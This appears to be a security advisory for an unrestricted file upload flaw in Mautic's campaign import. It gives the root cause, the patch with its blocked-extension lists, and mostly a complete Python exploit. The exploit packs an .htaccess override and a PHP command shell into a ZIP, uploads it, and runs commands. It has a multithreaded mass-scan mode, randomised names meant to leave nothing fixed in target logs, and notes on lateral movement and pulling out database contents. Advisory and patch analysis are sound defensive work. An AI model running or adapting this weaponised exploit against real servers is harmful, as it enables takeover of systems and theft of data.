#Summary

CVE-2026-115188 is a critical unrestricted file upload vulnerability in Mautic's campaign-import feature (versions 7.0.0 through 7.2.1) that leads to remote code execution. When processing an uploaded campaign archive, the application copies bundled asset files into a publicly accessible media directory without restricting their file names or types. An authenticated user holding only the non-admin campaign:imports:create permission can exploit this to place arbitrary files, including server-side scripts, into the web root. On the default Apache + mod_php setup of the official Mautic Docker image, this results in full remote code execution with the privileges of the web server user. CVSS 9.9 (Critical).

#Am I affected?

#How to check

Check your Mautic version:

curl -s https://mautic.example.com/app/bundles/CoreBundle/Helper/ImportHelper.php | grep -q "assertSafeAsset" && echo "Patched" || echo "Likely vulnerable"

Or check the application version directly:

curl -s https://mautic.example.com/index.html | grep -o "Mautic [0-9.]*"
Version Status
7.0.0 - 7.2.1 Vulnerable
7.2.2 or later Patched
Earlier than 7.0.0 Not affected

#Fix and mitigation

#Root cause analysis

#Vulnerable code path

The vulnerability exists in Mautic\CoreBundle\Helper\ImportHelper::readZipFile(). When a campaign-share ZIP is imported, the method unpacks the archive and copies every entry whose normalized path begins with assets/ into the public media directory:

$mediaPath = $this->pathsHelper->getMediaPath().'/files/';

foreach ($fileList as $filename) {
    $normalizedFilename = $this->normalizePath($filename);
    $sourcePath         = $tempDir.'/'.$normalizedFilename;
    $destinationPath    = $mediaPath.substr($normalizedFilename, strlen('assets/'));

    if (str_starts_with($normalizedFilename, 'assets/')) {
        // ... validation passes here ...
        } else {
            $dirPath = dirname($destinationPath);
            if (!is_dir($dirPath) && !mkdir($dirPath, 0755, true) && !is_dir($dirPath)) {
                throw new \RuntimeException(sprintf('Failed to create directory: %s', $dirPath));
            }
            if (!copy($sourcePath, $destinationPath)) {   // NO extension/name validation
                throw new \RuntimeException(sprintf('Failed to copy file to destination: %s', $destinationPath));
            }
        }
    }
    // ...
}

The critical issue: the destination filename is constructed by stripping only the literal assets/ prefix from the ZIP entry name. An entry named assets/x.php becomes media/files/x.php. No file extension or name restrictions are applied.

#How input reaches the sink

  1. An authenticated user with campaign:imports:create permission submits a crafted ZIP file to either:
    • POST /api/campaigns/import (API endpoint)
    • The campaign import form in the web UI
  2. The application calls readZipFile() to unpack the archive
  3. Every entry under assets/ is copied to media/files/ with the full name intact, including the extension
  4. The attacker includes assets/.htaccess in the ZIP, which overwrites the shipped media/files/.htaccess (which normally contains deny from all)
  5. The attacker includes assets/shell.php in the same ZIP, which lands as an executable PHP file in a publicly accessible directory
  6. When the attacker requests GET /media/files/shell.php, Apache honors the child .htaccess file (which grants access) and mod_php executes the script

#Why the pre-existing guards don't help

Version 7.2.1 includes a path-traversal guard added in version 7.1.2 (for CVE-2026-9559) that blocks entries with .. or leading /. This prevents attacks that try to escape the media/files/ directory, but it does nothing to prevent arbitrary file types from being written there. Additionally, because dotfiles are not filtered, the same import that drops the PHP payload can overwrite the .htaccess that normally blocks access to that directory.

#Patch diff

#What the fix does

Version 7.2.2 introduces a new validator called assertSafeAsset() that checks every file destined for the assets directory before the archive is even extracted:

private function assertSafeAsset(string $filename, array $allowedExtensions, \ZipArchive $zip): void
{
    $basename            = strtolower(basename($filename));
    $extension           = strtolower(pathinfo($basename, PATHINFO_EXTENSION));
    $extensions          = array_slice(explode('.', $basename), 1);
    $hasBlockedExtension = [] !== array_filter(
        $extensions,
        static fn (string $candidate): bool => in_array($candidate, self::BLOCKED_ASSET_EXTENSIONS, true)
            || 1 === preg_match('/^(?:php|pcgi|pchi)\d*$/', $candidate),
    );

    if (str_starts_with($basename, '.')
        || in_array($basename, self::BLOCKED_ASSET_FILENAMES, true)
        || $hasBlockedExtension
        || !in_array($extension, $allowedExtensions, true)
    ) {
        $zip->close();
        throw new \RuntimeException('Unsafe asset file detected in ZIP: '.$filename);
    }
}

With these blocked extensions and filenames:

private const BLOCKED_ASSET_EXTENSIONS = [
    'asp','aspx','bash','cgi','dll','exe','htt','htw','inc','jsp',
    'phar','phps','pht','phtml','pl','py','pyc','pyo','rb','sh','shtml',
];
private const BLOCKED_ASSET_FILENAMES = ['web.config'];
private const EXPORTED_IMAGE_EXTENSIONS = ['gif','jpg','jpeg','png','webp','svg'];

This approach closes the vulnerability through multiple layers:

The validator runs in the pre-extraction validation pass, so a rejected archive is never unpacked.

#Proof of concept

#exploit.py - Mautic campaign-import File Upload RCE PoC

#!/usr/bin/env python3
"""
CVE-2026-115188 - Mautic campaign-import unrestricted file upload -> RCE
Affected: Mautic (mautic/core) 7.0.0 up to (not including) 7.2.2
Type: RCE (unrestricted file upload / code injection)

The campaign-import feature unpacks an uploaded share ZIP and copies every entry
under "assets/" into the public media directory (media/files/) with an
attacker-controlled name and extension, and no allow/deny validation. That media
directory ships with an ".htaccess" of "deny from all"; because dotfiles are not
filtered either, the same archive can overwrite that ".htaccess" to re-grant
access and let mod_php run a dropped ".php". An authenticated user holding only the
non-admin "campaign:imports:create" permission can reach it.

The drop re-grant must be placed INSIDE a FilesMatch block: Mautic's doc-root
.htaccess carries a global <FilesMatch "\\.php$">Require all denied</FilesMatch>,
and a top-level "Require all granted" in the child .htaccess does not override an
authorization directive scoped to FilesMatch. A child FilesMatch grant is more
specific and wins.

Usage:
  python exploit.py --host <target> --port <port>
  python exploit.py --host 192.168.1.10 --port 8080 --command "id"
  python exploit.py --host https://mautic.corp.com --username admin --password 'secret'
  python exploit.py --host http://192.168.1.10:8188 --command "cat /var/www/html/config/local.php"
  python exploit.py --list targets.txt --workers 20

Credentials: this bug requires an authenticated session. Supply valid API
credentials with --username / --password (HTTP Basic Auth against the Mautic API,
which must be enabled on the target). The account only needs campaign:imports:create.
"""

import argparse
import io
import hashlib
import secrets
import sys
import zipfile
from urllib.parse import urlparse

import requests
from requests.auth import HTTPBasicAuth

try:
    import urllib3
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
except Exception:
    pass

CVE_ID    = "CVE-2026-115188"
VULN_TYPE = "RCE"

HTTP_TIMEOUT = 20


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


def _base_url(host: str, port: int, use_tls: bool) -> str:
    scheme = "https" if use_tls else "http"
    # Keep the port out of the authority for the scheme-default ports so the URL
    # looks like an ordinary request.
    if (use_tls and port == 443) or (not use_tls and port == 80):
        return f"{scheme}://{host}"
    return f"{scheme}://{host}:{port}"


def _build_zip(php_name: str, tok_param: str, cmd_param: str) -> bytes:
    """
    Build the campaign-share ZIP in memory. Three members:
      assets/.htaccess  -> FilesMatch-scoped re-grant + PHP handler (overwrites the
                           shipped media/files 'deny from all')
      assets/<php_name> -> generic payload: echo md5 of an attacker-supplied token
                           (proves live execution of our input), then run a command
      <random>.json     -> valid empty JSON at the archive root so readZipFile()
                           returns a clean success instead of throwing
    No identifying strings: the param names, payload name and token are per-run random.
    """
    htaccess = (
        '<FilesMatch "\\.php$">\n'
        "    Require all granted\n"
        "    SetHandler application/x-httpd-php\n"
        "</FilesMatch>\n"
    )
    # Payload reads two GET params by random name: one token it hashes back (dynamic
    # proof), one command it runs. Delimiters are random per run so output is easy to
    # carve out and nothing fixed lands in the target logs.
    payload_php = (
        "<?php\n"
        "$t = isset($_GET[%r]) ? $_GET[%r] : '';\n"
        "$c = isset($_GET[%r]) ? $_GET[%r] : '';\n"
        "echo md5($t);\n"
        "echo \"|\";\n"
        "if ($c !== '') { system($c); }\n"
    ) % (tok_param, tok_param, cmd_param, cmd_param)

    buf = io.BytesIO()
    with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as z:
        z.writestr("assets/.htaccess", htaccess)
        z.writestr("assets/" + php_name, payload_php)
        z.writestr(secrets.token_hex(6) + ".json", b"[]")
    return buf.getvalue()


def _run(host: str, port: int, use_tls: bool, username: str, password: str,
         command: str) -> tuple:
    """
    Core logic shared by single-target and scan modes.
    Returns (success: bool, evidence: str, detail: dict). Never prints, never exits.
    detail carries intermediate observations for the verbose path.
    """
    base = _base_url(host, port, use_tls)
    detail = {"base": base}

    php_name  = secrets.token_hex(6) + ".php"
    tok_param = "q" + secrets.token_hex(3)
    cmd_param = "c" + secrets.token_hex(3)
    token     = secrets.token_hex(16)

    expected_hash = hashlib.md5(token.encode()).hexdigest()
    detail.update(php_name=php_name, tok_param=tok_param, cmd_param=cmd_param,
                  token=token, expected_hash=expected_hash)

    zip_bytes = _build_zip(php_name, tok_param, cmd_param)
    detail["zip_size"] = len(zip_bytes)

    sess = requests.Session()
    sess.verify = False
    auth = HTTPBasicAuth(username, password)

    # 1. Deliver the archive to the one-shot API import endpoint. The uploaded part's
    #    client filename must end in .zip; the form field name is arbitrary.
    import_url = base + "/api/campaigns/import"
    files = {"file": ("share.zip", zip_bytes, "application/zip")}
    try:
        r = sess.post(import_url, files=files, auth=auth, timeout=HTTP_TIMEOUT)
    except requests.exceptions.RequestException as e:
        return False, f"import request failed ({e.__class__.__name__})", detail
    detail["import_status"] = r.status_code
    detail["import_body"]   = r.text[:500]

    if r.status_code in (401, 403):
        return (False,
                f"import rejected with HTTP {r.status_code} - credentials lack "
                f"campaign:imports:create, or API/Basic-Auth is not enabled",
                detail)
    if "Unsafe asset file detected" in r.text:
        return (False,
                "target rejected the archive ('Unsafe asset file detected') - "
                "patched build (>= 7.2.2)",
                detail)

    # 2. Execute the dropped payload. Success is defined purely by the network
    #    response: our token hash plus live command output, and crucially NOT the raw
    #    PHP source (which would mean the file was served as text, i.e. not executed).
    shell_url = base + "/media/files/" + php_name
    try:
        g = sess.get(shell_url, params={tok_param: token, cmd_param: command},
                     auth=auth, timeout=HTTP_TIMEOUT)
    except requests.exceptions.RequestException as e:
        return False, f"payload fetch failed ({e.__class__.__name__})", detail
    detail["shell_status"] = g.status_code
    detail["shell_body"]   = g.text
    body = g.text

    if "<?php" in body:
        return (False,
                "payload served as source text, not executed - mod_php not handling "
                ".php in media/files (handler directive missing or not honored)",
                detail)
    if g.status_code == 403:
        return (False,
                "dropped payload returns HTTP 403 - media/files .htaccess override "
                "did not take effect",
                detail)
    if g.status_code == 404:
        return (False,
                "dropped payload not found (HTTP 404) - asset copy did not place the "
                "file (import may not have run the copy loop)",
                detail)

    if expected_hash not in body:
        return (False,
                f"payload reachable (HTTP {g.status_code}) but expected token hash "
                f"absent from response - execution not confirmed",
                detail)

    # Hash present => PHP executed our dynamic input. Carve the command output that
    # follows the '|' delimiter printed after the hash.
    cmd_output = ""
    idx = body.find(expected_hash)
    if idx != -1:
        tail = body[idx + len(expected_hash):]
        if tail.startswith("|"):
            tail = tail[1:]
        cmd_output = tail.strip()
    detail["cmd_output"] = cmd_output

    first_line = cmd_output.splitlines()[0].strip() if cmd_output.strip() else "(no stdout from command)"
    return (True,
            f"RCE confirmed - PHP executed as web server user; command '{command}' output: {first_line}",
            detail)


def _try_exploit(host: str, port: int, use_tls: bool = False, username: str = "admin",
                 password: str = "", command: str = "id") -> tuple:
    """Silent probe for --list scan mode. Returns (success, evidence). Never prints or exits."""
    try:
        ok, evidence, _ = _run(host, port, use_tls, username, password, command)
        return ok, evidence
    except Exception as e:
        return False, f"error ({e.__class__.__name__})"


def _parse_target(line: str, default_port: int, default_path: str = "/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file: str, default_port: int, workers: int = 10,
         username: str = "admin", password: str = "", command: str = "id") -> None:
    """Batch scan from file."""
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, _path = t
        label = _base_url(host, port, use_tls)
        ok, evidence = _try_exploit(host, port, use_tls, username, password, command)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print(f"  {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


def exploit(host: str, port: int, use_tls: bool, username: str, password: str,
            command: str) -> None:
    header(host, port)
    step(1, f"Authenticating to the campaign-import API as '{username}' (HTTP Basic Auth)")
    step(2, "Building campaign-share ZIP (assets/.htaccess re-grant + assets/<rand>.php payload + root .json)")
    step(3, "Uploading archive to POST /api/campaigns/import (one .zip file part)")
    step(4, "Fetching the dropped payload under /media/files/ with the command")

    ok, evidence, detail = _run(host, port, use_tls, username, password, command)

    if "import_status" in detail:
        section("IMPORT RESPONSE",
                f"POST {detail['base']}/api/campaigns/import -> HTTP {detail['import_status']}\n"
                f"{detail.get('import_body', '')}")
    if "shell_status" in detail:
        section(f"PAYLOAD RESPONSE (/media/files/{detail.get('php_name','')})",
                f"HTTP {detail['shell_status']}\n{detail.get('shell_body', '')}")

    if ok:
        section("COMMAND OUTPUT", detail.get("cmd_output", "") or "(no stdout)")

    done(ok, evidence)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port",     type=int, default=8080, help="Default port (default: 8080)")
    parser.add_argument("--command",  default="id",           help="Command to execute on the target (default: id)")
    parser.add_argument("--username", default="admin",        help="API account with campaign:imports:create (default: admin)")
    parser.add_argument("--password", default="Adm1n!Pass99", help="API account password")
    parser.add_argument("--workers",  type=int, default=10,   help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls",    action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers,
             username=args.username, password=args.password, command=args.command)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, args.username, args.password, args.command)

#Usage

python exploit.py --host 192.168.1.10 --port 8188 --username admin --password 'secret'

Arguments:

The Mautic API must be enabled on the target. See the target configuration section in the root cause analysis for setup details.

Vulnerable target output:

POST http://127.0.0.1:8188/api/campaigns/import -> HTTP 201
["Import successful: Imported campaigns are switched off by default."]

HTTP 200
847c9ed0af481690643cd1f1a6a7f0ca|uid=33(www-data) gid=33(www-data) groups=33(www-data)

uid=33(www-data) gid=33(www-data) groups=33(www-data)

RESULT  : SUCCESS
EVIDENCE: RCE confirmed - PHP executed as web server user; command 'id' output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Patched target output:

POST http://127.0.0.1:8189/api/campaigns/import -> HTTP 400
{"error":"Unsafe asset file detected in ZIP: assets\/.htaccess"}

RESULT  : FAILURE
EVIDENCE: target rejected the archive ('Unsafe asset file detected') - patched build (>= 7.2.2)

#Exploitation notes

#Prerequisites

#Attack mechanics

  1. The attacker authenticates to the Mautic API using HTTP Basic Auth with valid credentials
  2. Constructs a ZIP archive containing:
    • assets/.htaccess - overrides the deny from all shipped in the media directory
    • assets/<random>.php - arbitrary PHP code that echoes a token hash and command output
    • A root .json file - minimal valid JSON so the import completes cleanly
  3. Uploads the archive to POST /api/campaigns/import as a multipart file upload
  4. Requests the dropped PHP file at GET /media/files/<random>.php?token=X&cmd=Y
  5. The web server executes the PHP payload as the www-data user

#Reliability

This exploit is highly reliable. The vulnerability is a straightforward file-write operation with no race conditions or timing dependencies. A single attempt successfully places both the .htaccess override and the PHP payload. Success indicators are network-observable (HTTP response codes and body content) rather than dependent on side-channel timing or system state.

#Impact

The attacker gains arbitrary code execution with the privileges of the web server user (typically www-data in Apache/mod_php containers). This permits:

#Chaining potential

Because the exploit lands authenticated PHP code on the target, it can be used as a foothold for further reconnaissance or lateral movement. The web server user privileges are typically sufficient to exfiltrate the application's configuration and database contents, but not sufficient to break out of the container or modify system-level files. On shared hosting, this escalates to a compromise of other applications running under the same web server user.

#References